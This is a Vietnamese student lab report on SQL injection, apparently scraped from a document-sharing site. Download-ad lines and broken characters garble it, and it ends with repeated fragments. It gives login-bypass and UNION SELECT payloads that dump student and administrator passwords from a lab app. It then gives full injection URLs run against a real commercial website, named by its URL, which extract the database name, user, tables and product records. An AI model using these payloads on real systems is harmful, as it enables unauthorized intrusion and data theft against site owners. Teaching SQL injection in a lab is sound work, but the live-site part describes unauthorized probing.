HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIẾN THÔNG Khoa Công nghệ Thông tin 1 AN TOÀN VÀ BẢO MẬT HỆ THỐNG THÔNG TIN Thực hành Tấn công chèn mã SQL Họ và tên Phan Quang Điện Mã sinh viên B19DCCN181 Lớp D19CQCN01[.]
HỌC VIỆN CƠNG NGHỆ BƯU CHÍNH VIẾN THƠNG Khoa Cơng nghệ Thông tin AN TỒN VÀ BẢO MẬT HỆ THỐNG THƠNG TIN Thực hành: Tấn công chèn mã SQL Họ tên: Phan Quang Điện Mã sinh viên: B19DCCN181 Lớp: D19CQCN01-B Giảng viên: Đinh Trường Duy TIEU LUAN MOI download : skknchat123@gmail.com moi nhat Mục lục I Mục đích II Nội dung Vượt qua khâu xác thực người dùng 2 Trích xuất liệu từ CSDL Thêm, sửa, xóa liệu 10 Khảo sát trang web mạng có lỗi chèn mã SQL (khơng sửa/xóa liệu) 13 III Kết luận 18 TIEU LUAN MOI download : skknchat123@gmail.com moi nhat I Mục đích - Giúp cho hiểu cách thức công chèn mà SQL - Biết cách kiểm tra lỗi - Biết cách công lấy thông tin, chỉnh sửa liệu database II Nội dung Vượt qua khâu xác thực người dùng - Đăng nhập tự + Câu lệnh SQL: SELECT TOP * FROM tbl_users WHERE username = 'aaaa' or 1=1 ' AND password = '1' + Câu truy vấn trả giá trị bảng tbl_users mệnh đề OR 1=1 phần kiểm tra mật bị loại bỏ kí hiệu( ); phần lệnh sau kí hiệu coi ghi khơng thực - Đăng nhập vào tài khoản người dùng định TIEU LUAN MOI download : skknchat123@gmail.com moi nhat + Câu lệnh SQL: SELECT TOP * FROM tbl_users WHERE username = 'david' ' AND password = '1' + Câu truy vấn trả giá trị bảng tbl_users thỏa mản điều kiên WHERE với username ‘david’, dấu – có tác dụng biến đoạn mã sau thành ghi nên câu lệnh thực so sánh điều kiện username mà bỏ qua password + Vì tên tài khoản ‘david’ tồn nên thông báo đăng nhập thành công - Thay tên ‘david’ thành ‘beckamp’ + Vì tên tài khoản ‘beckamp’ không tồn nên thông báo login failed TIEU LUAN MOI download : skknchat123@gmail.com moi nhat Trích xuất liệu từ CSDL - Tìm số trường câu truy vấn trang = = => Trang không hiển thị kết => Số trường có câu truy vấn - Danh sách trường thử TIEU LUAN MOI download : skknchat123@gmail.com moi nhat = 1,2,3 kết cuối cho kết => Số trường câu truy vấn - Hiển thị thông tin hệ quản trị CSDL hệ điều hành - Trích xuất danh sách bảng CSDL TIEU LUAN MOI download : skknchat123@gmail.com moi nhat - Trích xuất danh sách trường bảng students tbl_administrators tbl_products TIEU LUAN MOI download : skknchat123@gmail.com moi nhat tbl_test tbl_users - Trích xuất liệu bảng students ssss' union select lastname+' '+firstname, student_code+' '+password, student_id from students; TIEU LUAN MOI download : skknchat123@gmail.com moi nhat tbl_administrators ssss' union select password, username, from tbl_administrators; tbl_products ssss' union select product_id, product_name+'-'+product_desc, product_cost from tbl_products; TIEU LUAN MOI download : skknchat123@gmail.com moi nhat tbl_test ssss' union select name, 0, id from tbl_test; tbl_users TIEU LUAN MOI download : skknchat123@gmail.com moi nhat - Trích xuất ghi gồm tất trường từ bảng students có mã sinh viên trùng với mã sv hiển thị tồn thơng tin trích xuất lên hình ssss' union select lastname+' '+firstname, student_code+' '+password, student_id from students where student_code='B19DCCN181'; Thêm, sửa, xóa liệu - Thêm 10 TIEU LUAN MOI download : skknchat123@gmail.com moi nhat - Sửa - Xóa 11 TIEU LUAN MOI download : skknchat123@gmail.com moi nhat Thử với bảng tbl_test - Thêm - Sửa 12 TIEU LUAN MOI download : skknchat123@gmail.com moi nhat - Xóa Khảo sát trang web mạng có lỗi chèn mã SQL (khơng sửa/xóa liệu) Trang: http://diencovothanhdat.com/ Thực hành tại: http://diencovothanhdat.com/?php=product_detail&id=66 - Tìm số trường https://diencovothanhdat.com/?php=product_detail&id=66%20order%20by%2015 13 TIEU LUAN MOI download : skknchat123@gmail.com moi nhat http://diencovothanhdat.com/?php=product_detail&id=66%20order%20by%2016 Có 15 trường - Tìm số trường bị lỗi http://diencovothanhdat.com/?php=product_detail&id=-66%20union %20select %201,2,3,4,5,6,7,8,9,10,11,12,13,14,15 14 TIEU LUAN MOI download : skknchat123@gmail.com moi nhat Cột bị lỗi - Xem tên CSDL, user http://diencovothanhdat.com/?php=product_detail&id=-66%20union%20select %201,2,group_concat(database()),4,5,group_concat(user()),7,8,9,10,11,12,13,14,1 Tên CSDL: diencovoth_hoi Tên user: diencovoth_hoi@localhost 15 TIEU LUAN MOI download : skknchat123@gmail.com moi nhat - Trích xuất danh sách bảng http://diencovothanhdat.com/?php=product_detail&id=-66%20union%20select %201,2,unhex(hex(group_concat(table_name))),4,5,6,7,8,9,10,11,12,13,14,15%20 from%20information_schema.tables%20where%20table_schema=database() Danh sách bảng là: tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_product,tbl_product_ category,tbl_product_new,tbl_product_special,tbl_user,tbl_visitor - Trích xuất danh sách trường bảng: tbl_product + Đổi mã tbl_product sang hex: tbl_product 74626C5F70726F64756374 http://diencovothanhdat.com/?php=product_detail&id=-66%20union%20select %201,2,3,4,5,unhex(hex(group_concat(column_name))),7,8,9,10,11,12,13,14,15% 20from %20information_schema.columns%20where %20table_name=0x74626C5F70726F64756374 16 TIEU LUAN MOI download : skknchat123@gmail.com moi nhat Các trường bảng: id, code, name, parent, detail_short, detail, image, image_large, sort, status,date_added, last_modified, lang, price, unit - Lấy code, name, tbl_product http://diencovothanhdat.com/?php=product_detail&id=-66%20union%20select %201,2,3,4,5,unhex(hex(group_concat(code,0x2d2d,name))),7,8,9,10,11,12,13,14 ,15%20from%20tbl_product Các liệu code, name bảng tbl_product 17 TIEU LUAN MOI download : skknchat123@gmail.com moi nhat Hộp Giảm Tốc DOLIN _ Trục Âm,2 Hộp Giảm Tốc DOLIN _ Trục Vít,2-Motor Giảm Tốc DOLIN,2 Motor ATT,5 Dolin Gear Box,5 Dolin Gear Box Srew,2 Motor TECO VN,5 Dolin Motor Discount Rate,5 Motor ATT,2-Motor SIEMENS,2 Máy Bơm Nước TECO VN,2 Máy Bơm Nước TECO Taiwan,5 Motor TECO VN,5 Motor TECO Taiwan,2 Máy Bơm Nước PENTAX,2 Máy Bơm Nước Thải CN,2 Máy Thổi Khí TRUDEAN,2 Máy Nén Khí FUSHENG,2 Máy Nén Khí Trục Vít,2 Quạt hút ống,2 Bơm Hỏa Tiển,2 Palang,2 Băng Tải,2 Quạt Công Nghiệp,2 Máy Bơm Ebara,2 Máy Phát Điện,2 Biến Tần,5 Motor SIEMENS,5 Water Pumps TECO VN,5 Water Pumps TECO Taiwan,5 Water Pumps PENTAX,5 Wastewater Pumps Sun,2-MÁY MÀI NỀN,5 Impellers,5 Variable Speed,5 Blower TRUDEAN,5-Fusheng Air Compressor,5 Screw Air Compressor,5 Conveyor,5 Palang,5-Industrial and Commercial Fan,2 Máy nén khí HANBELL,5 HANBELL Air Compressor,2 BƠM DẦU DC 24V - 48V,2 MOTOR MÁY CHẠY III Kết luận - Hiểu cách thức công chèn mã SQL - Biết cách kiểm tra lỗi - Biết cách vận dụng truy xuất lấy thông tin liệu - Có thể cơng chỉnh sửa liệu database website 18 TIEU LUAN MOI download : skknchat123@gmail.com moi nhat ... skknchat123@gmail.com moi nhat - Xóa Khảo sát trang web mạng có lỗi chèn mã SQL (khơng sửa/xóa liệu) Trang: http://diencovothanhdat.com/ Thực hành tại: http://diencovothanhdat.com/?php=product_detail&id=66... câu truy vấn - Hiển thị thông tin hệ quản trị CSDL hệ điều hành - Trích xuất danh sách bảng CSDL TIEU LUAN MOI download : skknchat123@gmail.com moi nhat - Trích xuất danh sách trường bảng students... 18 TIEU LUAN MOI download : skknchat123@gmail.com moi nhat I Mục đích - Giúp cho hiểu cách thức công chèn mà SQL - Biết cách kiểm tra lỗi - Biết cách công lấy thông tin, chỉnh sửa liệu